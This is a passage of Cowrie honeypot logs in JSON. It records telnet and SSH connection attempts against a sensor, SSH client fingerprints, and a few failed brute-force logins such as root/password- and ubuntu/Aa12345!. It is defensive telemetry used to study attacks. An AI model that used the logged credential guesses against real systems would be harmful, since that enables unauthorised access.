ha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:56.565398Z","src_ip":"59.17.95.129","session":"87e586ea55ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.913325548171997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:56.691874Z","src_ip":"207.180.228.157","session":"d2f316b4a433","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"password-","message":"login attempt [root/password-] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:57.345224Z","src_ip":"59.17.95.129","session":"87e586ea55ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":60380,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f2cd8858cc9","protocol":"telnet","message":"New connection: 207.180.228.157:60380 (159.203.135.109:23) [session: 2f2cd8858cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:57.518562Z"}
{"eventid":"cowrie.session.closed","duration":31.318816661834717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:58.306713Z","src_ip":"207.180.228.157","session":"3abcc9e48e4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:09:58.545607Z","src_ip":"59.17.95.129","session":"87e586ea55ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.196860551834106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:02.271578Z","src_ip":"207.180.228.157","session":"24fc80b2e197","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.75543999671936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:05.601225Z","src_ip":"207.180.228.157","session":"b03b0eb5326b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.727027654647827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:06.097579Z","src_ip":"207.180.228.157","session":"23da22a52188","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36884,"dst_ip":"159.203.135.109","dst_port":23,"session":"280ea5de05fa","protocol":"telnet","message":"New connection: 207.180.228.157:36884 (159.203.135.109:23) [session: 280ea5de05fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:06.181215Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36892,"dst_ip":"159.203.135.109","dst_port":23,"session":"c22ae0b76816","protocol":"telnet","message":"New connection: 207.180.228.157:36892 (159.203.135.109:23) [session: c22ae0b76816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:10.101737Z"}
{"eventid":"cowrie.session.closed","duration":31.107635259628296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:12.865677Z","src_ip":"207.180.228.157","session":"65a3886cdf2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.971268892288208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:13.336552Z","src_ip":"207.180.228.157","session":"c8fea664ba65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36906,"dst_ip":"159.203.135.109","dst_port":23,"session":"9438bacacc08","protocol":"telnet","message":"New connection: 207.180.228.157:36906 (159.203.135.109:23) [session: 9438bacacc08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:13.826777Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":36920,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3a25284530a","protocol":"telnet","message":"New connection: 207.180.228.157:36920 (159.203.135.109:23) [session: b3a25284530a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:14.278156Z"}
{"eventid":"cowrie.session.closed","duration":31.422141075134277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:14.431825Z","src_ip":"207.180.228.157","session":"669b34ade0da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":53912,"dst_ip":"159.203.135.109","dst_port":23,"session":"2385510a62e5","protocol":"telnet","message":"New connection: 207.180.228.157:53912 (159.203.135.109:23) [session: 2385510a62e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:16.150579Z"}
{"eventid":"cowrie.session.closed","duration":31.281590938568115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:16.380825Z","src_ip":"207.180.228.157","session":"18e03181216f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58062,"dst_ip":"159.203.135.109","dst_port":23,"session":"1536f58aafe8","protocol":"telnet","message":"New connection: 174.138.46.234:58062 (159.203.135.109:23) [session: 1536f58aafe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:16.990336Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58070,"dst_ip":"159.203.135.109","dst_port":23,"session":"01a0ff7e187d","protocol":"telnet","message":"New connection: 174.138.46.234:58070 (159.203.135.109:23) [session: 01a0ff7e187d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:19.017543Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58118,"dst_ip":"159.203.135.109","dst_port":23,"session":"458fcc324a33","protocol":"telnet","message":"New connection: 174.138.46.234:58118 (159.203.135.109:23) [session: 458fcc324a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:19.294504Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58908,"dst_ip":"159.203.135.109","dst_port":23,"session":"8019a5dd5a7c","protocol":"telnet","message":"New connection: 174.138.46.234:58908 (159.203.135.109:23) [session: 8019a5dd5a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:19.532747Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":53922,"dst_ip":"159.203.135.109","dst_port":23,"session":"28890929ff1e","protocol":"telnet","message":"New connection: 207.180.228.157:53922 (159.203.135.109:23) [session: 28890929ff1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:19.592566Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":53938,"dst_ip":"159.203.135.109","dst_port":23,"session":"c80db2262129","protocol":"telnet","message":"New connection: 207.180.228.157:53938 (159.203.135.109:23) [session: c80db2262129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:20.085195Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58416,"dst_ip":"159.203.135.109","dst_port":23,"session":"673a54e5876d","protocol":"telnet","message":"New connection: 174.138.46.234:58416 (159.203.135.109:23) [session: 673a54e5876d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:20.420233Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":53940,"dst_ip":"159.203.135.109","dst_port":23,"session":"361bf7433a9a","protocol":"telnet","message":"New connection: 207.180.228.157:53940 (159.203.135.109:23) [session: 361bf7433a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:20.872236Z"}
{"eventid":"cowrie.session.closed","duration":30.666996002197266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:23.054279Z","src_ip":"207.180.228.157","session":"601f252fab0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.3888795375823975,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:23.683255Z","src_ip":"174.138.46.234","session":"458fcc324a33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.796013832092285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:23.846801Z","src_ip":"207.180.228.157","session":"d47a87597e45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13973617553711,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:24.102304Z","src_ip":"207.180.228.157","session":"bdd64ce08e6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.96997141838074,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:24.375951Z","src_ip":"207.180.228.157","session":"974f35a6a333","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.680965423583984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:24.720601Z","src_ip":"207.180.228.157","session":"2c1e82e4b56a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.6514880657196045,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:25.071335Z","src_ip":"174.138.46.234","session":"673a54e5876d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.757899284362793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:25.226652Z","src_ip":"207.180.228.157","session":"fc74613c7cce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.812810182571411,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:25.345456Z","src_ip":"174.138.46.234","session":"8019a5dd5a7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.492462873458862,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:25.509893Z","src_ip":"174.138.46.234","session":"01a0ff7e187d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.822507381439209,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:26.812720Z","src_ip":"174.138.46.234","session":"1536f58aafe8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35280,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dd5d0c15c20","protocol":"telnet","message":"New connection: 207.180.228.157:35280 (159.203.135.109:23) [session: 9dd5d0c15c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:27.003117Z"}
{"eventid":"cowrie.session.closed","duration":30.533636331558228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:28.052095Z","src_ip":"207.180.228.157","session":"2f2cd8858cc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35292,"dst_ip":"159.203.135.109","dst_port":23,"session":"d77175e812a7","protocol":"telnet","message":"New connection: 207.180.228.157:35292 (159.203.135.109:23) [session: d77175e812a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:31.754071Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35298,"dst_ip":"159.203.135.109","dst_port":23,"session":"612b399d1757","protocol":"telnet","message":"New connection: 207.180.228.157:35298 (159.203.135.109:23) [session: 612b399d1757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:33.851823Z"}
{"eventid":"cowrie.session.closed","duration":31.394991397857666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:37.576125Z","src_ip":"207.180.228.157","session":"280ea5de05fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":53790,"dst_ip":"159.203.135.109","dst_port":23,"session":"980c38c06db2","protocol":"telnet","message":"New connection: 207.180.228.157:53790 (159.203.135.109:23) [session: 980c38c06db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:39.796655Z"}
{"eventid":"cowrie.session.closed","duration":31.47087550163269,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:41.572485Z","src_ip":"207.180.228.157","session":"c22ae0b76816","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17042350769043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:44.997101Z","src_ip":"207.180.228.157","session":"9438bacacc08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.091678380966187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:45.369690Z","src_ip":"207.180.228.157","session":"b3a25284530a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":50078,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e237737b473","protocol":"telnet","message":"New connection: 207.180.228.157:50078 (159.203.135.109:23) [session: 7e237737b473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:46.915507Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":50088,"dst_ip":"159.203.135.109","dst_port":23,"session":"17b284f732a2","protocol":"telnet","message":"New connection: 207.180.228.157:50088 (159.203.135.109:23) [session: 17b284f732a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:47.577322Z"}
{"eventid":"cowrie.session.closed","duration":31.47232484817505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:47.622793Z","src_ip":"207.180.228.157","session":"2385510a62e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66480851173401,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:50.257246Z","src_ip":"207.180.228.157","session":"28890929ff1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.076805591583252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:51.161887Z","src_ip":"207.180.228.157","session":"c80db2262129","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.859535217285156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:52.731485Z","src_ip":"207.180.228.157","session":"361bf7433a9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":52420,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d0d131534d0","protocol":"ssh","message":"New connection: 59.17.95.129:52420 (10.17.0.5:22) [session: 6d0d131534d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:53.664924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:53.669352Z","src_ip":"59.17.95.129","session":"6d0d131534d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:53.870801Z","src_ip":"59.17.95.129","session":"6d0d131534d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa12345!","message":"login attempt [ubuntu/Aa12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:54.703362Z","src_ip":"59.17.95.129","session":"6d0d131534d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:55.906676Z","src_ip":"59.17.95.129","session":"6d0d131534d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.614264249801636,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:10:58.617286Z","src_ip":"207.180.228.157","session":"9dd5d0c15c20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.529993534088135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:11:03.284236Z","src_ip":"207.180.228.157","session":"d77175e812a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.671568870544434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:11:04.523280Z","src_ip":"207.180.228.157","session":"612b399d1757","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47499132156372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:11:10.271508Z","src_ip":"207.180.228.157","session":"980c38c06db2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42048,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd99c9112824","protocol":"telnet","message":"New connection: 207.180.228.157:42048 (159.203.135.109:23) [session: cd99c9112824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:11:11.503731Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42058,"dst_ip":"159.203.135.109","dst_port":23,"session":"1de72f2d4233","protocol":"telnet","message":"New connection: 207.180.228.157:42058 (159.203.135.109:23) [session: 1de72f2d4233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:11:13.103108Z"}
{"eventid":"cowrie.session.closed","duration":30.306543588638306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:11:17.221931Z","src_ip":"207.180.228.157","session":"7e237737b473","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96516466140747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:11:18.542360Z","src_ip":"207.180.228.157","session":"17b284f732a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":34246,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca1e93494bde","protocol":"telnet","message":"New connection: 207.180.228.157:34246 (159.203.135.109:23) [session: ca1e93494bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:11:41.011692Z"}
{"eventid":"cowrie.session.closed","duration":30.837336540222168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:11:42.340964Z","src_ip":"207.180.228.157","session":"cd99c9112824","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.51683259010315,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:11:45.619804Z","src_ip":"207.180.228.157","session":"1de72f2d4233","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":43566,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8a9b9c1626e","protocol":"telnet","message":"New connection: 207.180.228.157:43566 (159.203.135.109:23) [session: d8a9b9c1626e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:11:48.400736Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":53434,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cd11af8ff0a","protocol":"ssh","message":"New connection: 59.17.95.129:53434 (10.17.0.5:22) [session: 9cd11af8ff0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:11:49.400052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:11:49.404820Z","src_ip":"59.17.95.129","session":"9cd11af8ff0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:11:49.606761Z","src_ip":"59.17.95.129","session":"9cd11af8ff0a","protocol":"ssh"}
